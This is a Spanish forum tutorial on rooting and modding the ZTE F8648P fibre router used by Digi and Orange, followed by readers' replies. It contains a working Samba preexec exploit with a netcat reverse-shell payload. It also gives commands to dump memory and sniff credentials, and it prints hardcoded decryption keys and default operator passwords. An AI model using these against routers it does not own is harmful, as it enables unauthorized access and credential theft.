BandaAncha.eu

Comunidad de usuarios
de fibra, móvil y ADSL

Fibra
💡

Todo sobre el router Zte F8648P XGSPON: admin, decodificar archivos, SNMP…

alezz
9
Router Digi XGSPON ZTE ZXHN F8648P

Recopilo en este hilo todo lo que he averiguado sobre el router Zte ZXHN F8648P utilizado por Digi y Orange para las conexiones de fibra XGSPON de 10 Gb.

Obtener shell de root

Prerrequisitos: Máquina virtual con Linux con el interfaz de red en modo bridge, USB formateado en NTFS, compatibilidad SMB1.0/CIFS activada en Windows.

  • Montamos el USB en Linux y creamos un enlace simbólico dentro del mismo:
ln -s / raiz
  • Descargamos BusyBox y lo metemos en en el USB:
wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l -O busybox
ln -s busybox nc
  • Creamos un fichero llamado payload.sh en el USB con este contenido, siendo *IP* la dirección IP de red local de nuestra máquina virtual Linux:
rm -f /tmp/f ; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | /mnt/usb1_1_1/nc *IP* 3339 > /tmp/f
  • Creamos un fichero llamado test.smb.conf con este contenido:
[global]
guest account = root
deadtime = 5
log level = 0
max smbd processes = 3
server string = Samba Server
security = user
encrypt passwords = yes
smb passwd file = /var/samba/var/smbpasswd
load printers = no
workgroup = workgroup
netbios name = samba
short preserve case = yes
preserve case = yes
interfaces = 192.168.1.1/24
server signing = True
[pwn]
Preexec = /mnt/usb1_1_1/payload.sh
comment = samba share dir
read only = no
public = yes
writable = yes
max connections = 3
path = /
  • Desmontamos el USB y lo pinchamos en el router
  • Nos vamos a la web del router y activamos Samba poniendo como user test y password test
  • Desde Windows entramos a \\192.168.1.1\samba y nos autenticamos como user test y password test
  • Entramos dentro de la carpeta usb1_1_1, pinchamos en el fichero test.smb.conf y hacemos Ctrl+C para copiarlo
  • Escribimos en la barra del explorador \\192.168.1.1\samba\usb1_1_1\raiz\var\samba\lib, intro y pegamos con Ctrl+V el fichero test.smb.conf
  • Vamos ahora a Linux y ejecutamos nc -l -p 3339, se quedará a la espera de una conexión entrante
  • Volvemos a Windows y vamos a \\192.168.1.1\ , se deberían ver 2 carpetas compartidas: samba y pwn
  • Entramos en pwn, Windows se quedará cargando sin entrar a la ruta. Si entrase es que hemos hecho algo mal al copiar el BusyBox o hemos puesto mal la IP local en el payload.sh
  • Si como es esperable se queda cargando, ya que está ejecutando internamente el preexec, vamos al Linux y deberíamos ver que en la ventana del comando nc se nos ha abierto una shell de root. En este punto hemos obtenido acceso como root en el router.

Hubiera hecho todo el procedimiento en Linux pero además de que el montaje hay que hacerlo poniendo las opciones noprefix, file_mode y group_mode que no están en los cifs-utils de todas las distros. No funciona el 100% de las veces dando errores de permisos al acceder a los directorios o al escribir de forma aleatoria.

Cambiar clave de admin

Una vez tenemos shell de root podemos ejecutar:

sendcmd 1 DB p DevAuthInfo
sendcmd 1 DB set DevAuthInfo 0 Pass admin
sendcmd 1 DB save

Con esto ganamos acceso con el user admin y pass admin via web.

Volcado de memoria

No se puede volcar toda la memoria del sistema usando /dev/mem, pero mediante gdb podemos volcar la memoria de un proceso concreto.

Usaremos gdb que podemos descargar de esta url:

wget https://github.com/marcinguy/arm-gdb-static/raw/master/gdbstatic -O gdb

Ejemplo para volcar a ficheros la memoria del proceso cspd, con pid 165:

grep rw-p /proc/165/maps | sed -n 's/^([0-9a-f]*)-([0-9a-f]*) .*$/1 2/p' > /mnt/usb1_1_1/direcciones.txt

Ahora en el PC guardamos el fichero y generamos una lista de comandos a ejecutar que podemos pegar en la consola para que se ejecuten de golpe:

cat direcciones.txt | while read start stop; do echo "/mnt/usb1_1_1/gdb -–batch -–pid 165 -ex \"dump memory 165-$start-$stop.dump 0x$start 0x$stop\""; done

Sacar usuario y clave PPPoE

Podemos extraer los datos PPPoE usando el tcpdump que incluye el propio router. Tras ejecutar el comando quitamos y ponemos el cable de fibra para que vuelva a negociar la sesión. Nos devolverá los datos en texto plano:

tcpdump -i any -A pppoes

Sacar password de ssh, telnet y samba

Se pueden obtener haciendo un volcado de la memoria del kernel (cat /proc/kmem > /mnt/usb1_1_1/memoria.bin) y manteniéndolo en ejecución durante unos minutos.

Salen en plano, y realmente en concreto los del SSH que incluye este router no sirven para nada ya que está muy limitado y no tiene una shell real sino que tenemos que invocar los pocos comandos que permite con shell <comando>

La clave es el serial completo y en mayúsculas del router: admin:ZTEGCDD12345

Los comandos que se pueden ejecutar están definidos en unas listas que son legibles con la aplicación routerpassview, y están en /etc/authorize

Abrir telnet

El telnet se puede abrir mediante los siguientes comandos:

sendcmd 1 DB set TelnetCfg 0 TS_Enable 1
sendcmd 1 DB set TelnetCfg 0 Lan_EnableAfterOlt 0
sendcmd 1 DB set TelnetCfg 0 TS_UName <usuario>
sendcmd 1 DB set TelnetCfg 0 TS_UPwd <password>
sendcmd 1 DB save

Hecho esto hacemos un pkill zxtds para que se reinicie el servidor telnet con los parámetros actualizados

Ficheros config.bin

La clave se calcula en el ejecutable cspd, funcion PdtDBSetUserCfgAESCBCEncryKey()

Es parte del número de serie del XGSPON y la mac principal con los octetos al revés. La función Pdt… saca el numero de serie de leer el /tagparam/paramtag, segundo campo.

Por ejemplo si tenemos un número de serie del XGSPON que sea ZTEGCDD123456 y una MAC que sea 50:5d:de:ad:be:ef nuestra key será: CDD123456efbeadde5d50.

El iv es genérico, y en este caso es similar al de otros routers, y es Zte%FN$GponNJ025. La función lo saca leyendo del fichero cifrado /etc/hardcodefile/dataprotocol, campo DefAESCBCIV.

  • El número de serie se puede consultar en la etiqueta del router o en la web, aunque en la web aparece en minúsculas.
  • La MAC se puede consultar en la etiqueta del router o desde la shell de root haciendo un ifconfig br0.

Para descifrarlo, desde Linux, podemos descargar y ejecutar los siguientes programas:

git clone https://github.com/mkst/zte-config-utility.git
cd zte-config-utility
python3 setup.py install –user
wget https://pastebin.com/raw/CCqm1tfj -O configdec.py
python configdec.py -–key-prefix CDD123456efbeadde5d50 -–iv-prefix 'Zte%FN$GponNJ025' config.bin config.bin.txt

Fichero /tagparam/paramtag

La key e iv para descifrar este fichero se calculan desde el fichero libtagparamuserapi.so, función _tagparamDecry(). Tanto la key como el iv salen de la misma cadena.

Se calcula obteniendo el valor %s%s%s para el que cada uno de los parámetros es:

  • zx279132
  • Resultado de la función GetValueFromProcFile.constprop.0(), que es el campo vid del /proc/capabilities/boardtype → 33
  • 8cc72b05705d5c46f412af8cbed55aad

Por tanto la clave que buscamos es:

  • plain-key = 'zx279132338cc72b05705d5c46f412af8cbed55aad'
  • plain-iv = 'zx279132338cc72b05705d5c46f412af8cbed55aad'

Este valor ahora tenemos que recortarlo a 32 caracteres y calcularemos su sha256.

Del resultado del sha256 los primeros 32 caracteres son la key, y los primeros 16 caracteres son el iv.

Una vez que tenemos esto simplemente hay que descifrar cada una de las secciones del paramtag usando aes_cbc.

De este fichero podemos sacar información que realmente no nos será muy útil si ya tenemos el config.bin, ya que mayormente los tags que tiene son:

  • ZTEG
  • Parte del serial del XGSPon que se usa para la key del config.bin
  • MACs de cada uno de los interfaces
  • Serial GPON + primera mac, todo en mayúsculas (esto podría ser una clave para algo que falte por descubrir)
  • 6 primeros carácteres de la mac principal
  • Serial del router
  • Nombre de la wifi 2.4
  • Pass de la wifi 2.4
  • Nombre de la wifi 5.0
  • Pass de la wifi 5.0
  • Pass de admin
  • 4
  • Versión del router tal como aparece en la web
  • 0
  • 0

Ficheros /etc/db_default_*.xml

Estos ficheros tienen configuraciones por operador. Están comprimidos con zlib deflate y cifrados con aes cbc y la key e iv son los genéricos del router, que se obtienen bien extrayendolos de /etc/hardcodefile/dataprotocol o bien leyendo la memoria del cspd. La función que hace el set de las claves es CSPDBInitPdtInterface() y obtiene de dataprotocol los tags DefAESCBCKey (f2801sv2) y DefAESCBCIV (Zte%FN$GponNJ025).

  • plain-key = 'f2801sv2'
  • plain-iv = 'Zte%FN$GponNJ025'

Cosas interesantes de los ficheros:

  • En db_default_cfg.xml hay unas claves genéricas que parece que se sobreescriben, aunque siempre es bueno mencionarlas por si acaso:
    • Pass del usuario id 0 (admin) : Web@0063
    • Pass del usuario id 1 (user) : Web@0763
  • En db_default_SpainDigiHgu_cfg.xml no hay nada realmente destacable, se define el IMS para la VoIP y la clave user para el usuario user.
  • En db_default_MasMovil_cfg.xml se definen las password que supongo son las que usan en Orange:
    • Pass del usuario id 0 (admin): admin
    • Pass del usuario id 1 (1234): 1234
  • En db_default_ItalyTi_cfg.xml se configuran mismas pass de admin que están en el db_default_cfg.xml
    • Pass del usuario id 0 (admin) : Web@0063
    • Pass del usuario id 1 (user) : Web@0763
  • En db_default_Malaysia_cfg.xml se configura su ACS y poco más
  • En db_default_Viettel_cfg.xml se configura su ACS, redes wifi y se deshabilita el user id 1 (user)
  • En db_default_Manufacture_cfg.xml se definen passwords:
    • Pass del usuario id 0 (admin): admin
    • Pass del usuario id 1 (user): username

Ficheros /etc/hardcode y /etc/hardcodefile/*

Estos ficheros contienen configuraciones por defecto. Están cifrados con CBC y la Key e Iv se calculan de la cadena de texto plano que hay en /etc/hardcode.

Cadena de texto (contenido de /etc/hardcode):

09a01cee5518b341f40d83f1cc5e7c2ac3631ee2fd87c3b85b6b586194cc5486f8648pv2.0_2Gflash
  • plain-key = 'fhh884;e674i73g;f8648pv2.0_2Gflash'
  • plain-iv = 'f8648pv2.0_2Gflash'

De las passwords hay que crear un sha256 y recortarlo a 32 caracteres.

La peculiaridad de estos ficheros es que el primer bloque de cifrado, los primeros 16 bytes, llevan una encriptación básica de sustitución con variación según la posición. Gracias a ello se pueden adivinar los valores sin meterse a sacar el algoritmo exacto.

  • dataprotocol

83d299672bad91c26bedc31101beca4f

D e f A E S C B C K e y = f 2 8

01sv2\nDefAESCBCIV=Zte%FN$GponNJ025\nAESENCRYKey=\nuserkey=608158c36497b00221db14afb845c9e3

  • wlan

90d28f6d0b87e3bd199797590dd2af12

W e p K e y 1 = 1 1 1 1 1 \n W e

pKey2=22222\nWepKey3=33333\nWepKey4=44444\nKeyPassphrase=!@#$%12345\nWapiKey=!@#$%12345\n

  • tr069

8ad08b750b8ca4e55a8896466cb98b04

M g t S e r v e r . 0 . P a s s

word=hgw\nMgtServer.0.ConnectionRequestPassword=TR069_v2\nMgtServer.0.PKCS12PassWord=8cc72b05705d5c46f412af8cbed55aad\nConnReqPwd_Telmex=!@#$%12345

  • webpri

90d29d6e3aaa82d363c3df5546ac9d46

W e b * * * * * * * * = z t e 1

2345!@#$%nWebPrivateKey=Web2019!#%&\nWebRepKey=nE%jA@5b\nDefAdNewPass=Web@0063\nDefUsNewPass=Web@0763\nDefSecNewPass=Web@0863\nDefAdNewPass100=admin\nDefAdOldPass100=Web@0063\nDefAdNewPass14=TURE@cmpAWes\nDefAdNewPass118=bi*wq51vW8el8cu@\n

Modo Bridge

La opción no está disponible inicialmente, pero hay más de una forma de conseguirlo.

Además de realizar alguno de los siguientes métodos hay que tener en consideración que se debe desactivar el servidor DHCP del router, así como asignar o no la VLAN (20) bien al Zte o bien al router neutro.

Asimismo en las opciones de Port Binding de la web del router asignaremos un puerto a la conexión bridge, que será donde conectaremos el router.

Método 1

Desde la consola ejecutamos los siguientes comandos:

cd /home/httpd/thinklua/template
mkdir /mnt/usb1_1_1/template
cp -r * /mnt/usb1_1_1/template
cd ..
mount /mnt/usb1_1_1/template /home/httpd/thinklua/template
cd template
cp config_173.lua config_2009.lua
ps | grep http
kill -9 pid <proceso httpd>

Automáticamente levantará de nuevo el httpd con la configuración que hemos introducido y ahora en WAN se pueden crear conexiones no solo con Routing sino con Bridge.

Habría que asignar en Port Binding un interfaz a esta nueva WAN.

El cambio en la web es temporal y se pierde al reiniciar o sacar el USB.

Método 2

Consultar la siguiente sección Region Code para habilitar las opciones que se presentan en el método 1 pero de forma permanente.

Método 3

Encontrado por el user @Geokaoz. Usar las herramientas de desarrollador de chrome/firefox y cambiar "Routing" por "Bridge" antes de hacer una modificación en la WAN internet.

Asignar el puerto que queramos de WAN en la opción Port Binding.

Region code (operador)

El router decide qué perfil de operador aplicar en base al contenido del fichero /userconfig/flag_type. En el caso de Digi el código es 2009. La lista de códigos está en /etc/init.d/regioncode. El código de Zte de producción es 173.

Si hacemos un:

echo "current : 173" > /userconfig/flag_type

Y matamos los procesos zxtds (serv. telnet) y httpd (serv. web) o reiniciamos el router, a partir de este momento el telnet admitirá cualquier comando (la shell se arrancará con sh -lproduction en vez de -luser) y la web cambiará el logo de Digi por el de Zte y aparecerá la opción de bridge tal y como salía en el método 1 del Modo Bridge.

Este cambio es persistente a reboots y reversible. Para volver a la región original repetir los pasos pero en vez de poner la región 173 pondremos la 2009.

Deshabilitar TR069

Desde la consola podemos ejecutar:

sendcmd 1 DB delr MgtServer 0
sendcmd 1 DB save

Esto elimina todos los valores del TR069 pero no hace que se deje de crear el interfaz OMCI para la VoIP.

SNMP y NPU

Este router utiliza un NPU (Network Processing Unit) para acelerar conexiones. Esto genera un problema al utilizar programas de terceros que requieran recursos estándar de Linux. Por ejemplo tanto ifconfig como snmpd utilizan /proc/net/dev para obtener la información que van a mostrar, y por desgracia por culpa del NPU esta no es precisa.

El NPU se puede deshabilitar a través de /proc/Zte/ffe/cmd (echo npu 0 > cmd), pero genera una penalización en el ancho de banda, que se limitaría a aproximadamente 1.6Gbps, por tanto no tiene sentido deshabilitarlo.

Todo esto lo descubrí tras compilar el mini-snmpd para arm64 y comprobar que los datos que obtenía eran erróneos y la sensación que daba es que solo me mostraba un spike inicial de las conexiones. Visto esto también me di cuenta de que por ejemplo al hacer un speedtest-cli, el ifconfig solo reportaba un incremento de unos 200MB cuando la realidad es que lo mismo se habían transmitido ~2GB.

Entonces vi que a través de la web del router en la página de LAN status sí que daba datos correctos, y me puse a investigar para averiguar cómo era posible.

Después de una investigación que ha implicado hacer reversing a los binarios cspd, httpd, sendcmd y sus bibliotecas, he llegado a la conclusión de que se pueden obtener datos reales de bytes y paquetes transferidos a través de /dev/switch_mgr, pero no es trivial obtenerlos ya que hay que usar ioctl() y además ghidra no muestra exactamente cómo se recogen los datos, es decir, sé cómo pedir los datos pero no como recogerlos.

Sin embargo hay una manera alternativa, ya que es posible obtener datos de estadísticas de tráfico a través de la consola con el comando:

sendcmd 1 switch_mgr getPortStats <interfaz>

Este comando hace internamente lo que he comentado anteriormente de usar ioctl() con /dev/switch_mgr, y después envía a stdout los datos obtenidos.

Sabiendo esto, y a falta de averiguar cómo utilizar /dev/switch_dev de forma nativa, lo que he hecho ha sido parchear el servidor snmpd que estoy usando, mini-snmpd, para que cree un fichero fake del /proc/dev/net pero con los datos agregados de llamar al comando anterior y obtenga los datos del él.

* Nota: El primer mini-snmpd que subí al repositorio no liberaba algunos punteros e iba consumiendo muy lentamente la memoria del router hasta que se reiniciaba. Está arreglado en una nueva versión que he subido.

./mini-snmpd -i eth0,eth1,eth2,eth3,eth4,wlan0,wlan4

Si alguien se anima a montar esto le recomiendo que lo haga con grafana/influxdb/telegraf, hay tutoriales en internet que explican como hacerlo muy facilmente. El resultado final es como se ve en la imagen.

grafana1.webp

Algunas cosas ocultas que trae el router

Hay algunas opciones que el router tiene pero que por algún motivo no han decidido incluir en la configuración y solo están disponibles para algunas regiones. Hasta ahora las que he visto son:

  • Opciones EasyMesh: Existen dentro de la web pero realmente no funcionan bien y activarlas no tiene ningún efecto en la configuración. Son tres opciones. 1) on/off 2) RSSI threshold 2.4g 3) RSSI threshold 5.0g.

Se supone que este router tiene certificación para funcionar como controlador de una red EasyMesh. Estaría bien que alguien que tenga esto montado nos diga si efectivamente funciona.

  • Opciones EEE: Activa/Desactiva el EEE que es una especificación del 802.11 para el ahorro de energía. En teoría tenerlo activo significa que apagará electrónicamente los puertos que no se estén usando.
  • Opciones QoS: Toda una serie de opciones para QoS. No se que sentido tiene usarlo en una red 10Gbps, pero bueno, ahí están.
  • Opciones Conntrack: Pequeña página donde pone el límite máximo de conexiones abiertas que puede tener el router y el valor actual del número de conexiones abiertas.
  • Opciones de monitorización CPU/Mem: Muy básico, indica el porcentaje de uso de cada una de las cuatro CPU's del router y el porcentaje del uso de memoria del mismo.

Recopilación de programas, scripts y ficheros de configuración

Aquí está todo lo necesario para replicar lo que se menciona en este post: Repositorio de utilidades

esteveli

Muy interesante el articulo, enhorabuena! voy a probar a aplicarlo al H298Q y a contratar la vozip con Digi, a lo poco con el admin lo puedo configurar sin PPPoE y dejarlo como ATA

🗨️ 3
alezz

Con el H298A estuve probando con otro usuario y no funciona esta forma de conseguir shell, ya nos contarás si funcionó en el tuyo.

🗨️ 2
esteveli
2

Despues de probarlo, no funciona esta parcheado, pensandolo bien este fallo es un error recurrente en los Zte, ya en el pasado el fallo del samba ha sido explotado en otros modelos

🗨️ 1
alezz
1

Sí, de hecho en este modelo si pones el enlace directamente a /var/samba/lib/smb.conf que es lo que pone en tutoriales de routers anteriores no funciona, lo cual me da más o menos la idea de que sobre este firmware ,que la base es heredada de otro router, se hizo algún tipo de arreglo del fallo pero por algún motivo no se hizo completo y permite atravesar directorios (ya que si se accede directamente a /samba/raiz da error).

Geokaoz
1

Hay que tener en cuenta para no tener problemas con el bridge hay que deshabilitar el VLAN y el DHCP de la ONT y dejar que el router neutro se encargue de eso… de lo contrario la ONT estará intentando asignar ips de los dispositivos conectados al router neutro, me ha pasado que me quedo sin internet… y era por eso

farlon20100

Hola, si al hacer la primera parte del tutorial vuelvo a la raiz y no veo la carpeta pwm a que puede deberse el error?

Miquel 1

Hola, con mi router Zte F8648P de Digi, cuando pongo el USB en NTFS no puedo acceder a él por samba, sólo si lo formateo en FAT32 me da acceso al contenido del USB, pero claro en FAT32 no se pueden crear enlaces simbólicos, con lo que no se puede hacer el hack para que vaya a la raiz

Puede ser que mi router esté parcheado ? o hace falta algo para que el router admita un USB en NTFS ?

Se podría solucionar haciendo un downgrade del firmware ? (no tengo un firmware anterior de este router de Digi) alguien lo tiene para así instalarlo ?

🗨️ 6
vukits

¿En vez de FAT32 has probado ext3fs y ext4fs ?

🗨️ 2
Miquel 1

Hola, lo acabo de probar, y tampoco

Solo en FAT32 puedo acceder al contenido …

La versión es

Versión de software V2.0.12P7N3

Versión boot V2.0.12P10N2

Pero desde el user/user no hay opción a cambiar el firmware …

🗨️ 1
vukits

Solo en FAT32 puedo acceder al contenido …

pues lo llevas crudo ;)

alezz

La versión de firmware que tienes es la misma con la que hice la guia.

El USB que he estado usando yo es uno normalito de 8GB con NTFS 3.1, puedes ver la version de NTFS desde Linux con el comando ntfsinfo -m /dev/sdc1 (en mi caso el USB lo detecta como /dev/sdc, esto puede variar segun el número de unidades que haya en el sistema). Desde Windows puedes mirar también la version de NTFS con el comando fsutil.

🗨️ 2
Miquel 1

He conseguido acceder con un USB pero de 8 Gb (NTFS) con varios de 32 Gb que tengo no entiendo porqué pero no funcionaba.

Ahora necesito activar el VoIP del router, he añadido una nueva conexión WAN, (VoIP) ya que en el router solo tengo 2, la de la Internet y la omci_ipv4_static_2

La he configurado con Tipo Ruteo, y Servicio (sólo VoIP) con IPv4 DHCP y VLAN apagado (he probado también con 20 pero no hace nada)

El problema es que no conecta esta nueva conexión , en Estado de conexion IPv4 , está en "conectando" y no se le asigna ninguna IP a la conexión de VoIP

Habría que configurarlo como Static ? pero no se las IP. (Nota : No tengo fijo con Digi, sólo la fibra , y intento usar la linea SIP de netelip)

🗨️ 1
alezz

En teoría la OMCI es para VoIP, pero claro, para conectar a los servidores de Digi. Mira a ver si en las opciones SIP puedes decirle que tire de la conexion WAN normal y metele los servers de tu proveedor, ya que no creo que vayan los tiros creando otra conexion WAN, que dará conflicto con la ya existente.

Que sería en SIP/Network Interface, cambiar OMCI por Any. Si lo del Any no va, podrías eliminar la conexion WAN de internet previo guardado de la config y crearla otra vez añadiendo que tiene VoIP en vez de solo internet.

Bebito
-1

Puede alguien hacer un vídeo explicando todo esto?? O alguien puede ayudarme?? Mis conocimientos son un poco bajos 😔 necesito conectar mi router propio

🗨️ 1
vukits

abre un post nuevo, por favor